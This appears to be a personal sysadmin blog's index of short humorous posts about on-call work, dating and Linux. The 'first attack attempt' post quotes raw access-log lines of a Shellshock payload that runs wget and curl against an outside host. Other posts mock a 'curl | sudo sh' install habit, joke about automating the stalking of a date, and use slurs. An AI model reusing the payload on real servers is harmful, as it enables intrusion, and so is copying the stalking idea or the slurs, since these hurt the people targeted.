Sometimes you’re oncall. Sometimes u have to wake up people. Sometimes u feel really sorry for them, cuz they sound realy tired. Sometimes, they wish you “Good Night”. Funny fact. The other oncall dude will txt u saying it’s resolved, cuz if u awake, u text back, but if you sleep, he does not wake … Continue reading Sometimes
Present
When you’re 16, you cry because you have to leave your friends. When you’re 30, you look back and really feel thankful to not have the same kind of life and to not see any more of those people. “People change” and “people don’t change” at the same time. I’m the same as when … Continue reading Present
Less is not more
Less is not more… I watch my old “friends” and aquitances get covered in stupid and sit on their asses burning their lives in vain. Because the name of one of your dogs is important enough to get it forever across your chest, as a poor quality tatoo. I don’t know if it’s out of … Continue reading Less is not more
Another Narcissist
This guy messaged me. He didn’t seem stupid, rather all the opposite. He also knew what he was looking for, a whife and a mother for his future kids. He’s a team leader of this very intelligent computer programmer people and everybody listens to him. He also just got a brand new house and new … Continue reading Another Narcissist
A Vegan Nazi Buddist
Why… Why that hot dude that meets “the checklist” requirements resulted to be a piece of shit? WHYYYYYY?! Aperances are deceiving. I guess that’s what life tried to teach me with those ridiculous dates. I’m used to American dudes expecting to split the bill, I can survive it, but it’s the first time ever, when … Continue reading A Vegan Nazi Buddist
Диеточка
Фитоняшеньки ужинают кефирчиком с помидоркой, что бы быть стройными. Мне вот только непонятно, сколько кефирчика надо… Литр хватит?
Proud
I’m so proud of my regex! … and of the fact that it works… xD “^\/tmp\/[a-zA-Z0-9-]{0,8}\-[a-zA-Z0-9-]{0,4}\-[a-zA-Z0-9-]{0,4}\-[a-zA-Z0-9-]{0,4}\-[a-zA-Z0-9-]{0,16}$”
Man still exist!
Thanx Universe man still exist!!! My coolant has leaked… like a lot, like there was none in the tank! First my co-worker came to the resque and backed me up oncall… cuz I got all dirty checking my car and touching my laptop would not be a great idea if I needed it. Like VERY … Continue reading Man still exist!
Narcissistbook
Y u “like” all my posts so aggressively? I thought u sayed “Good night”… and why from all the pictures of different “pretty” and “dressed” levels, you only liked the one with my sports car…
Knowledge is power
Sometimes, I think I’m too exigent. Sometimes, I think I’m looking for a prince charming that does not exist (I want a tauren on a black war kodo) Sometimes, I think I’m too critical of people. Sometimes, I don’t trust my intuition when it’s screaming at me, because I think I’m crazy. However, … Continue reading Knowledge is power
Go down
Today a man was repeatedly telling me to “go down”. Of course he’s a developer and he’s a frenchie. He simply wanted me to scroll down on the code. But I didn’t tell him how that phrase sounded to me.
Ignorance is a bliss
I won’t be making graphs. The guy I really like, has the time to spend at least 2h per day on dating sites, but does not have the time to write to me. That’s after asking me to write to him, which I did twice. I got no response of course… Should … Continue reading Ignorance is a bliss
Stalker
I seriously don’t know why american boys are so exited about dating girls in IT. I’ve just finished automating the stalking process of a guy I really like. Now I can simply consult the logs which are written on a 5 minute basis. … and it’s only the second date… EDIT: After … Continue reading Stalker
Someone, who would actually enjoy to fuck himself
Punctuation and spelling has been preserved: Allow me to introduce myself. I’m playfully dichotomous. I’m a loving narcassist. I’m available, yet dans la lune. I’m imperfect, like a chipped tooth. But I could be the imperfection that helps put a definitive stamp on our time together, before the sands of time blend into another … Continue reading Someone, who would actually enjoy to fuck himself
Balls are no longuer in fashion.
According to the dating sites: I should meet each person I’ve ever said hi, otherwise I’m one of the “evil” girls that trick poor man and make them wet their pillow all night. I’m a dominatrix My eyes are anime size I think I’m getting another cat, a collection of dildos and alcoholism. … Continue reading Balls are no longuer in fashion.
ToDo
Stop blaming your self, for other people’s mistakes.
Microsoft <3 Linux
Sex is proven to be good for cognitive functions. If each time someone said “fuck Microsoft” or “fuck Windows” they got fucked in real life, they would for sure be leading all fields of technology. However, this is not the case, so they still play the propaganda game, where they try to hide how … Continue reading Microsoft <3 Linux
Nerdgasm
That feeling, when your keyboard is one of the cheapest mechanical ones, but it still does all the custom gaming lighting. … and no proprietary software is required…
Logic?
Why cheapy stuff like $2 kitty earings ships fast & for free, while u r charged fees and have to wait a week for mechanical keyboard shipping? T_T
Staaaaaph!!!
If only fixing IRL clusterfucks would be as easy as it is to fix servers 😀
They say woman are more compassionate and nurturing.
Was driving on the 20, it’s summer, I have the roof open. It started raining. Traffic was slower than a grandma. Stopped at an “isle” where I would not bother anyone. At a place where 2 highways merge. I had to close the roof and I would not be near an exit anywhere soon. Some … Continue reading They say woman are more compassionate and nurturing.
Thinking is hard…
Sometimes, when I try to code, I think that I’ve choosen a profession for which I don’t have the brains. Maybe I should’ve been a stripper…
What I’ve done today?
impress (actually competent) people doing basic shit like moving data and using my awk skills waste too much time on shit I consider retarded get proud and jealous at the same time of my co-worker, who developed 2 ansible modules in a day while I was stuck on stupid shit It’s pretty hard to tell if the day … Continue reading What I’ve done today?
Lost forever
Today at WalMart I saw a kid…errr… a teenager/young adult being so happy about his new phone. “It’s big! But big is better, right?! So it’s definitely worth it!” He also said he’s a youtuber (who isn’t those days?) and passed a paper with his channel to the girl working there. (She really had lots … Continue reading Lost forever
Another stalker
Oh, social media! Apparently when someone is visiting your profile over and over again on linked in, LinkedIn sends you a notification saying “Congratulations! You’re the most viewed person in $FuckingJerk’s_Name network.” I don’t care about this persons life and I’m in no contact with him, but apperently he cares about mine and tries to … Continue reading Another stalker
Timeless
Regardless of how many years I work, there will always be people who take pictures of their monitor instead of screenshotting.
All of them…
The person who I think he is, does not really exist. It’s all in my head… He’s not a tortured sould that need my special kind of love. It does not to change his behaviour or motives… nor actions. He’s morally bankrupt and never appreciated any of the things people (or me) did … Continue reading All of them…
What if?
My best friend became a feminazi. The dude I was in love with, still didn’t finish school and still works at the same place. He still plays his guitar and drinks his beer. He didn’t advanced in any aspect of his life. I’m scared to think what would I become if wasn’t forced to change the … Continue reading What if?
Never change
On my fist years of being sysadmin, I’ve facepalmed when finding stuff I’ve done previously. Six years later, after getting into the all fancy devops movement thing, nothing changed.
Gentoo?
Is google trying to tell me something?
Selinux
Still makes me feel this way…
Shedding tears of joy
While witnessing mother (50 years old) providing qualified tech support to grandma (80 years old), so confident and professionally sounding. I think she can now have a lvl1 support job… if only she spoke english…
You can run, but not escape
Feeling guilty for leaving early due to lack of energy, while your co-workers suck it up much better than you? Don’t worry, the oncall will catch you up right after you get home…
Introverts
My facebook feed is filled with “information” about how to understand and act with “introverts”. I didn’t knew “introvert” meant “a special snowflake egocentric attention whore”. Judging by facebook and the amount of reposts/likes, that’s exactly what it means to be an introvert.
Priceless
The look on the face of a network dude, when you point to the big button “create” on his screen, answering his question on how to create a page. Happens to me all the time, first time I’m on the other side.
Speaking of blondes
I think one tried to help the sysadmin…
I’m blonde
After looking at my make.conf, package.use and gentoo installation overall from 2 years a go…
Time on the morning
This explains is why I’m always late… it’s not my fault!
Ouch!
Pain level of someone who puts a big chunk the internet down. At 9:37AM PST, an authorized S3 team member using an established playbook executed a command which was intended to remove a small number of servers for one of the S3 subsystems that is used by the S3 billing process. Unfortunately, one of the … Continue reading Ouch!
Come be PC
Source: https://youtu.be/dmeSGwVBoao
Done with this shit.
Sister threw a tantrum because I was all day home yesterday(working remote due to sickness) and didn’t clean the house. She demands to know my exact work schedule because she thinks I’m having more days off than her thus she can stop cleaning the cat toilet. Her only responsibility. She’s been living at my place … Continue reading Done with this shit.
X
Getting phone calls from drunk ex-girlfriends is better than getting calls from her drunk ex-militar father.
WTF Google?
Who’s the retard that decided to move the “View certificate” feature to “Developer Tools”? Why you make me re-teach my parents how to verify the SSL. It’s not so easy for them. Who’s the asshole that makes it more difficult for older people to avoid scam sites? I want to look them in the eyes.
Sysadmins, the assholes.
Well… adds are there for people to watch. This one for some reason caught my attention. It was the typical add until…. Oh you poor little girl, I’m so sorry those mean bastards of sysadmins almost fucked up your day by letting their stupid server go down! But I’m so glad you made it through the day even if … Continue reading Sysadmins, the assholes.
Microsoft… derp
So while visiting an Azure training (where I didn’t learn anything new, because everything is just like in Amazon and they didn’t even show the API), I’ve created a new account, because it was required to access the Microsoft’s Azure account temporarily. I was signed in on skype with mother’s account, because had to change something for her … Continue reading Microsoft… derp
The world needs it’s retards
I only wanted to shrink a partition and create a new one under Windows… because was updating wow… and didn’t wanted to wait to reboot to Gentoo. Windows – the shit that I have on my PC because even if the people says the battle.net launcher works fine under wine, it never did for me. … Continue reading The world needs it’s retards
Awesome job is awesome.
I thought I was having a really shitty Monday: Overslept very badly Spent 45 minutes searching for keys When sat down to think where the hell I’ve left them, cat got on my lap and… vomited on my clothing Forgot gloves and it’s freezing outside Then got at the office and got a salary rise for … Continue reading Awesome job is awesome.
No mom… err… Amazon… I’m not pregnant yet..
Amazon was suggesting me maternity clothes for a while, now baby stuff… All was ignored, but Amazon does not give up, it just takes it’s suggestions to the new level: nerd baby stuff? No, seriously, why Amazon is trying so hard to make me have babies, never searched for maternity or baby items.
How to tell you got a good job.
Your boss texts you and tells you to not drive to the office, because the weather is bad.
Microsoft training
I love going to Microsoft events. They make me feel like a good and smart sysadmin (because devops is a philosophy and not a profession). People presenting isn’t challenged. They understand linux ways, cloud, devops and all the fancy things… teaching them like they were their own invention and like they’re the cheapest with the best quality. (Come on … Continue reading Microsoft training
The winter has come
I really wonder if the world is composed of special snowflakes or if rather, I’m a sociopath.
Females in videogames
Didn’t you hear that females in video games are over sexualized and that their armor is showing too much? Funny fact: There’s 17 people in my guild(including me) who are currently online in discord 1/14 males have a real picture 2/2 females have their real “cute” pictures 1/2 females are trying to show cleavage. I’m hesitating … Continue reading Females in videogames
Tears of joy
That feeling when you learn the scary fattening nutritional values were written per 3 pieces of chocolate and not 1.
Xmass Gifts
There’s one that I’ll definitely not be giving to anyone ever. Google play gift card. Annoying as fuck & appearing in each youtube video you play, sticking their theme song deep in your head, to the point of giving you a nervous tic.
Oncall would be so much easier…
You had one job…
There’s no giphy in the world that can express the feeling, when you trusted your co-worker to do your ticket, one that takes 5 min and 4-5 clicks… and he fucks up… …in such manner that the client has downtime each time when he deploys… …and in the manner that backups don’t work… … and … Continue reading You had one job…
Computer people…
Sysadmin froze for 2 minutes trying to figure out what the picture on the left means. Sysadmin figured out & LOL. Sysadmin send picture to programmer. Programmer: I don’t get it. What does the picture on the left mean? Sysadmin: echo $normal_human_interaction Programmer: GetNormalHumanInteractions(); <- undefined Programmer: compiler abort
Oncall
When had alerts all night and hear PagerDuty instead of morning alarm…
Sysadmin Karma protects me
When I run something as simple as a bad bash script that will fuck up my prod, it just goes segmentation fault before affecting anything… Today I found 2 things in my own shit that mean to run on staging only, but would run on prod because $reasons. I found them before running it. Because weirdass … Continue reading Sysadmin Karma protects me
That time of the month…
I had issues waking up and was not motivated to get out of bed. Felt nausea and was irritable as fuck. I felt sick… At 10 my cell sang “the server is on fire”. This explained everything. It’s that time of the month. I’m oncall.
Google cares about end user comfort
Recently I’ve noticed that the pictures I take with my cell are available to attach when I send e-mails. I only noticed because of the NUDE SELFIES that google so kindly offers me to send… Thanx Google! I don’t know how I lived without this feature! Writing personal mails at work was so boring without flashing my … Continue reading Google cares about end user comfort
Dirty Secrets
My boyfriend confessed he likes to go to github, search for “please forgive me” and read other peoples code.
Зачем мне это в логах?
79.134.218.13 – – [19/Nov/2016:03:27:05 +0000] “GET / HTTP/1.1” 200 5243 “<a href=\”http://forum.windowsfaq.ru/\”>Forum.WindowsFAQ.ru</a>” “<a href=\”http://forum.windowsfaq.ru/\”>Forum.WindowsFAQ.ru</a>”
You had one job…
It’s OK to be a retard
…because we all are… and the humanity is doomed anyways… My programmer told that his team was searching for a bug for 2 days… and it also was only one line… We are all retards. I need a drink.
fn-ctrl-option-command-space
When someone tells you the shortcut on his mac to switch keyboard language
Well… technically everything is correct…
Professional deformation #2
Keep reading “Proxy” instead of “Roxy” when checking out some comics…
Retard problems
Spend 2 and a half days on an issue, fix by 1 line.
DevOps Nightmares #2
There was a Zombie Apocalypsis. Each time a process became zombie, a human would too because all humans are linked to a process and our world is just a server. My team lead was trying to help me to fix the problem. The problem came from my code, which was a tiny part, but still … Continue reading DevOps Nightmares #2
DevOps Nightmares
I was fired because my commit messages are “inappropriate” and “not professional”. I’ve spent the whole night texting the team lead begging to not fire me, because this is my most favorite job ever. I was trying to explain him, those commits were made when I was 14, before even I started working, and when I … Continue reading DevOps Nightmares
ClusterFuck!
Things I broke today: – monitor (BIG scratch) – laptop monitor (small scratch) – HDMI cable – Nail Remember boys and girls, cable management is as important as password strength. Now, if excuse me, I have to go get me one of those:
I <3 Gentoo
First time booting from the liveCD, always booted from the mininal-install. It’s actually… pretty! And penguins can fly, cuz they’re Gentoo 😀
What’s the point?
Social Engineering are big words that mean nothing in today’s retarded world. What’s the point of calling to activate a credit card if all the info they ask for is on the credit card and all questions that a bank asks you on the phone can rightly be answered by “yes”.
Vaginas have it worse
It does not matter that the higher % homeless people are male. It does not matter than the redhead girl is wearing mascara. It does not matter than average price drug store mascara and a pack of pads are the same price It does not matter that to be fat you have to eat in … Continue reading Vaginas have it worse
Two dudes talking…
… about submission, turn on, cookies… Of course they’re dev’s you perv! 😀
I wish they’ve explain it to me that way when I was a junior…
I like to watch
Nov, 2016-11-05 12:21:18 admin 76.69.215.24 Option Nov, 2016-11-05 11:47:57 admin 91.133.94.199 Access Nov, 2016-11-05 11:45:35 admin 76.69.215.24 Access Nov, 2016-11-05 11:45:11 admin 91.133.94.199 Access Nov, 2016-11-05 11:44:57 admin 76.69.215.24 Access Nov, 2016-11-03 18:20:32 root 192.168.2.110 PowerOn Aug, 2016-08-01 15:04:20 admin 93.192.1.114 Option May, 2016-05-21 00:10:47 admin 192.168.2.111 Access May, 2016-05-20 02:43:57 admin 192.168.2.147 Access May, … Continue reading I like to watch
Yaml
No matter how much you work with it, it will always make you rage.
The greatest mistake
Yes, I broke my own rule and bought cheap shoes from a crappy magento site…. thing I never thought I would do. Didn’t receive a confirmation mail, they’re not responding to mails (obviously… cuz their mail server is not working) and now I see they failed to configure varnish… Will fix your server for shoes? … Continue reading The greatest mistake
Dudes…
Some dude posting on facebook, so romantic, so naive… If I date you, I don’t want your passwords, or your phone. I can get all the info I want about you and you will never know, because I’m a sysadmin. I’ll know where and with who you are, all of your interests, what you want to … Continue reading Dudes…
Another T-Shirt Idea
Inspired of this logo, but saying “paSSwords, I like them strong”
How’s my programming?
Call 1-800-DEV-NULL
Shoppings
I want a tank top like this, but it has to say “I get servers UP”
LOL Dude
Hoster contacting ops team telling they can give us a server and a /22. …ops team that has their own cloud providing services to oher customers… Hoster that didn’t bother to even block his wp-admin I feel so bad for them, I want to write a reply “will re-do your website for cheap and install … Continue reading LOL Dude
The state where oncall gets us all…
The things you learn in life.
First I learned that juniper is a berrie. Now that ELK is an actual animal, like a forest cow… The struggle of “imported” sysadmins is real.
Online generation
After I’ve exited a metal conert, I saw a message on my cell: “Are you at the same concert than I ?” Like I’m checking my cellphone in the middle of the moshpit… where big buff dudes run in circles and push each other, when the music plays so loud, that you feel all your internal organs … Continue reading Online generation
FML
Oh Social Media… The only place where cute guys add me and insist we meet is LinkedIn.
Professional deformation…
When you’re trying to brag about your new outfit in WoW, but you keep misspelling the PING color… This is sad, so here’s a picture for the lolz.
Murder
Things that are pushing me towards it: “Ain’t got time for documentation” Timesheets
I <3 my job
The best words of appreciation I got from a boss so far: “you should teach others to follow you’re example and if they don’t, you have my permission to beat them with a stick”
Y U SO SEXIST!!!!!1111
I don’t drive drunk, so had to take a bus from a friend’s place to the parking. Was pretty tired, not hangover, just didn’t slept enough. A guy with a 3DS stood up from his seat, like giving it to someone. I’ve looked around, there was no old, injured or pregnant people, so it was … Continue reading Y U SO SEXIST!!!!!1111
Sysadmin Power!
SYSADMINS! Warriors of the console! We have to unite! Torvalds, the father of Linux is being kept hostage by Microsoft! We have to do something before it’s too late! The father of the kernel is in danger. Look what they did to the penguin already!!! Yes, That's Linus Torvalds chatting with us at the … Continue reading Sysadmin Power!
Until death separates us
Recompiling the kernel, is just like Vodka, solves all the issues. My 10 years old wacom tablet now works under Linux. On Windows, I would have to buy a new one… Yes, I’ve tested it under Windows and the most recent drivers for it don’t provide basic functionality such as pressure sensitivity, the old ones, … Continue reading Until death separates us
Getting older.
I understand code, better than comments: # if we have a match, then set lowest to index if lowest is not set or if index is lower than lowest if index != -1 and (not lowest or index < lowest): lowest = index
Bug day
Creating a monitor in DataDog creates 2 of them with an identical name. You can’t exceed the limit of alerts that pingdom allows you, but you can enable a paused alert exceeding the limit. It will work perfectly for what you want if you reconfigure it. Amazon console keeps giving me error 0 messages in … Continue reading Bug day
Sysadmin
Nixcraft, as usual, shares the wisdom of the internets.
Sense… lost in translation
There’s girls in IT!
… and they have put the website down! xD I blame the hair colour!
My processes are fabulous!
…and if not stunning, the monitoring system sends an alert! It’s a honest typo. I wasn’t drunk while typing the message. I promise!
Honesty…
… is one of the reasons I like Linux.
Stalkers are everywhere
That feeling, when the client asks you to add a new IP because he’s working from a cafe… and you trace him… and see this: Unfortunatelly, Google is an asshole and does not let me to zoom in more, however, it’s a good sign. That dude must bring luck. UDP: Unless it’s an indication that … Continue reading Stalkers are everywhere
I’m an evil hacker! MWA HAHAHA!
Apperently, scanning ports on elasticache node that belongs to your account from a VM that belongs to your account is considered as abuse by AWS. […] We’ve received a report(s) that your EC2 instance(s) Instance Id: i-xxxxxxxx IP Address: x.x.x.x has been implicated in activity which resembles scanning remote hosts on the internet for security vulnerabilities. Activity of this nature … Continue reading I’m an evil hacker! MWA HAHAHA!
Technical difficulties in getting into shape
So many people using the service, yet I see this almost daily…
I just wanted to know…
..why I’m getting notifications from a website I’ve never visited. Google is sad.
Anonymous is out of fashion
Next step: suggest to make a page where I put my address, phone number,job location, driver licence, credit card number and PIN as well as all the other personal info, so my relatives, multimillionaires princes/kings from Africa can find me and give me all their fortune?
DataDog is like legos, there’s stuff you don’t see, but when you step on it, it’s so painfull.
Why… just why you have a different syntax for trigger and re-trigger alerts? [Re-Triggered on {device:/dev/xvda1,host:testing.blabla.internal}] [testing] Disk space low testing.blabla.internal 192.168.15.43 [Triggered on device:/dev/xvda1,host:testing.blabla.internal] [testing] Disk space low testing.blabla.internal192.168.15.43 Of course, humans never make inattention errors, that can pass QA and leak in prod. Fuck my life… with Regex!
Shut up, you may offend someone on the internetz!
Was trolling with some engineers in the US over slack, on how there’s a Readme on how to do the doc and how there should be a doc for the Readme… Some dude: lol. would that make you read them? </troll> Me: well… maybe… but I would have to learn to read… and I’m blonde Some dude: … Continue reading Shut up, you may offend someone on the internetz!
That feeling
…when you finish GTA V & stay there for the credits, because it’s just like finishing a great book, makes you sad… replaced with RAGE because housekeeping is more important than IT people, so appears in credits first? Really? REALLY?! FUUUUUUUUUUUUUUU!!!!!!!!!!!!!!!!!!1111111111 Ok… I admit there must be something like alphabetical order… but the DAFUG?.jpeg feeling … Continue reading That feeling
It’s way easier that it sounds…
A tuple is a sequence of immutable Python objects. Tuples are sequences, just like lists. The differences between tuples and lists are, the tuples cannot be changed unlike lists and tuples use parentheses, whereas lists use square brackets. Creating a tuple is as simple as putting different comma-separated values. Nail polish, they’re all alike, the … Continue reading It’s way easier that it sounds…
Not everyone is Ubuntu based
Google…
… is way too judgemental about my coding skills.
Girls coding…
The things I really need: Sleep A rubber duckie Because spending a couple of hours debugging why a simple comparison of 2 variables (strings) does not work when it should is frustrating, specially, after realizing, those were 2 different strings! It’s normal it did not enter the loop, the script was working properly the whole time, … Continue reading Girls coding…
Microsoft is good
I must admit Microsoft has some good things. Firt is AD, because managing printers, users, etc on Linux is possible, but not the best, specially in large corporations where there are hundreds of hamsters users. However, AD is not a product that I must touch daily and be happy about. It’s their keyboards. I got it … Continue reading Microsoft is good
REGEX
YOU WILL DO WHAT I WANT!
Spring: The time of the year when allergies kick in.
All the sysadmins are guilty of “curl -sSL https://install.stackstorm.com/ | sudo sh -s — -r v1.3.2″ There are no exceptions, all of us were young & dumb. An ubuntu noob, showing off hiz cool compiz cube saying he’s super hacker, will go follow the first tutorial found google to try to fix a problem. That … Continue reading Spring: The time of the year when allergies kick in.
Losing faith on new generation
Seriously, how many times you need to copy paste a “hacking” command in the terminal before understanding the shit you do does not work? I’m seriously considering donating to a dyslexia charity. It seems to be a big problem among youngest generations…
Proprietary vs Open Soure dance battle! Fight!
Random observations of another internet troll on a Microsoft DevOps hackaton
The dude speaking was wearing a T-shirt. Where’s the suite? Emphasize they love Open Source and are friends with Red Hat “which is a Linux!” Using all those free tools like git & jenkins, but of course offering Microsoft’s “free” alternative. Free up to X users. Once you grow, you’ll have to give your money to … Continue reading Random observations of another internet troll on a Microsoft DevOps hackaton
I haz a sad…
I got a reader! Someone has read my blog! He even shared my kitty picture on faceboook!! And it was not a bot because how he click on stuff and try different things… like remote exec… with typos and stuff… I gue$$ hackerz can be dislexyc t00…
Data Dog
How it’s presented: How I feel using their API: But seriously, why giving the option to send custom payloads in the web hooks if all the info I can send is relative to the event, which does not include {{host.ip}}, {{host.name}} and many other parameters that you desperately need (like tags, host tags, not monitor … Continue reading Data Dog
Awwwwww!!! First attack attempt on my server! So cute! ^_^
93.190.69.10 – – [27/Apr/2016:09:23:07 -0400] “GET / HTTP/1.1” 200 714 “-” “() { :; }; /bin/sh -c ‘wget http://closettransfer.com/FLUFFYPUPPY -O /dev/null;wget1 http://closettransfer.com/FLUFFYPUPPY -O /dev/null;curl http://closettransfer.com/FLUFFYPUPPY -o /dev/null;/usr/sfwbin/wget http://closettransfer.com/FLUFFYPUPPY;fetch -/dev/null http://closettransfer.com/FLUFFYPUPPY'” 64.74.197.103 – – [27/Apr/2016:10:25:26 -0400] “GET / HTTP/1.1” 200 714 “-” “() { :; }; /bin/sh -c ‘wget http://closettransfer.com/FLUFFYPUPPY -O /dev/null;wget1 http://closettransfer.com/FLUFFYPUPPY -O /dev/null;curl http://closettransfer.com/FLUFFYPUPPY … Continue reading Awwwwww!!! First attack attempt on my server! So cute! ^_^
Abused keyboard…
Is it sign of workaholism when your keyboard is starting to have holes in it?
Optimizing wordpress for performance…
…is just like trying to prepare a snail for a horse race… Do I really have to use varnish? REALLY?
OnCall
Fix the problem < min Search through the documentation for legacy password > 45min
Hello World
This shit is ugly and I know it. It’s been a while I ran out of fucks to give anyways.